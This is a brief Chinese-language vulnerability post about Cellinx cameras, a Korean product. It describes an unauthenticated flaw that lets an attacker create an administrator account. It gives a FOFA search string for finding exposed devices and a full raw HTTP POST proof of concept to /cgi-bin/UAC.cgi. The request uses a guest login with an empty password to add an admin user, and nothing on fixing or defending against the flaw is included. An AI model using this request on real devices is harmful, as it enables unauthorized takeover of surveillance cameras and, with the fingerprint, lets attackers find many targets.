一.概述

cellinx是一家韩国的摄像产品

二 .漏洞影响

通过恶意请求可以创建管理员用户进入后台，执行任意行为。

1. 漏洞一：

（1）漏洞类型：  未授权

（2）请求类型：POST

fofa : body=”local/NVT-string.js”

poc:  POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
{“jsonData”:{“username”:”guest”,”password”:””,”option”:”add_user”,”data”:{“username”:”admintest1″,”password”:”admintest1″,”permission”:{“is_admin”:”1″,”view”:”1″,”ptz”:”1″,”setting”:”1″,”dout”:”1″}}}}